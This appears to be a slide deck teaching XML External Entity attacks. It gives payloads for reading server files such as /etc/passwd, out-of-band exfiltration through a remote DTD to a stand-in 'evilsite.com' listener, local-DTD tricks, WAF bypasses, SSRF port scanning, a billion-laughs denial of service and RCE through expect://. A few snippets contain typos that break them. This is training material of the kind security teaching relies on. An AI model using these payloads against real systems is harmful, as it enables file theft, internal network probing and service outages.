eXternal Xml Entity

XXE and XML

- Top 4 in OWASP TOP 10 2017
- Extensible Markup Language (Customize as you want)
- XML is used everywhere

Simple XML document

```
<?xml version="1.0" encoding="UTF-8"?>
    <hello>
        <world>
            Hello there!
        </world
    </hello>
```

DTD

- DTD - Document Type Definition
- Defines type of document :)
- Defines constants, elements, objects
- Internal (local) and External (remote) DTD
- Using in XXE
- Allows to SSRF, Arbitrary Reading, RCE and etc

```
<!DOCTYPE main [ <!ENTITY hi "Hello World!"> ]>
<main>
    &hi;
</main>
```

Internal and External DTD

Local - internal

- <!ENTITY test SYSTEM "TEST">

Remote - external

- <!ENTITY test SYSTEM 'file:///etc/passwd'>
- <!ENTITY test SYSTEM 'http://test.com/file.txt'>

Lets start with basics

Arbitrary read

```
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM
"file:///etc/passwd"> ]>
<userInfo>
    <user>
        &example;
    </user>
</userInfo>
```

User: root:x:0:0:root:/roo…

Using wrapper

```
<!?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM
"php://filter/convert.base64-encode/
resource=index.php"> ]>
<userInfo>
    <user>
        &example;
    </user>
</userInfo>
```

User: PD9waHA...

Dir listing (java)

```
<!?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM
"file:///"> ]>
<userInfo>
    <user>
        &example;
    </user>
</userInfo>
```

User: bin
boot
dev
...

Using remote DTD

1. Hacker make request with xml
2. XML loads remote doctype from hacker's website
3. Web Application read local file /etc/passwd
4. Web Application make request to listener on h4ck3R's site with data (base64 /etc/passwd)

How does it work?

H4ck3R

H4ckeR's website

1. request with xml

```
<?xml version="1.0" ?>
<!DOCTYPE user [
<!ELEMENT user ANY >
<!ENTITY % sp SYSTEM
"http://site.com/infected.dtd">
%sp;
%param1;
]>
<user>&exfil;</user>
```

Web application

How does it work?

H4ck3R

H4ckeR's website

1. request with xml

```
<?xml version="1.0" ?>
<!DOCTYPE user [
<!ELEMENT user ANY >
<!ENTITY % sp SYSTEM
"http://site.com/infected.dtd">
%sp;
%param1;
]>
<user>&exfil;</user>
```

2. load remote DTD

Web application

How does it work?

H4ck3R

H4ckeR's website

1. request with xml

```
<?xml version="1.0" ?>
<!DOCTYPE user [
<!ELEMENT user ANY >
<!ENTITY % sp SYSTEM
"http://site.com/infected.dtd">
%sp;
%param1;
]>
<user>&exfil;</user>
```

2. load remote DTD

3. response with h4ckeR's DTD

```
<!ENTITY % data SYSTEM
"php://filter/convert.base64-encode/
resource=/etc/passwd">
<!ENTITY % param1
        "<!ENTITY exfil SYSTEM
        'http://evilsite.com/listener?
d=%data;'>"
>
```

Web application

How does it work?

H4ck3R

H4ckeR's website

1. request with xml

```
<?xml version="1.0" ?>
<!DOCTYPE user [
<!ELEMENT user ANY >
<!ENTITY % sp SYSTEM
"http://site.com/infected.dtd">
%sp;
%param1;
]>
<user>&exfil;</user>
```

2. load remote DTD

4. request to listener with base64(/etc/passwd)

Web application

3. response with h4ckeR's DTD

```
<!ENTITY % data SYSTEM
"php://filter/convert.base64-encode/
resource=/etc/passwd">
<!ENTITY % param1
        "<!ENTITY exfil SYSTEM
        'http://evilsite.com/listener?
d=%data;'>"
>
```

External but local DTD

Linux:

```
<!--?xml version="1.0" ?-->
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Evil DTD code'>
%local_dtd;
```

Windows:

```
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Evil DTD code<!ENTITY test "test"'>
```

External but local DTD

Linux:

```
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/
yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/password">
%file;
<!ELEMENT aa(bb'>
    %local_dtd;
]>
```

Bypass WAF

Extra length:
<?xml {....over100000 spaces....} version="1.0">
Exotic encoding:
<?xml version="1.0" encoding="UTF-16"?>
<?xml version="1.0" encoding="ISO-8859-7"?>
<?xml version="1.0" encoding="UTF-32"?>

SSRF

```
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY xxe SYSTEM "http://localserver/" >]>
<name>
      &xxe;
</name>
<!DOCTYPE test [
 <!ENITTY xxe-1 SYSTEM 'http://192.168.1.1:80'>
 <!ENITTY xxe-2 SYSTEM 'http://192.168.1.1:8000'>
 <!ENITTY xxe-3 SYSTEM 'http://192.168.1.1:8080'>
 ...
]>
<test>
      <res>&xxe-1;</res>
      <res>&xxe-2;</res>
      <res>&xxe-3;</res>
...
```

DOS

```
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY a0 "DOS" >
<!ENTITY a1
"&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2
"&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3
"&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4
"&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<name>&a4;</name>
```

RCE

```
<!--?xml version="1.0" ?-->
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<userInfo>
    <user>
        &xxe;
    </user>
</userInfo>
```

XML EVERYWHERE

For more information Google:
XXE: How to become a Jedi,
Yaroslav Babin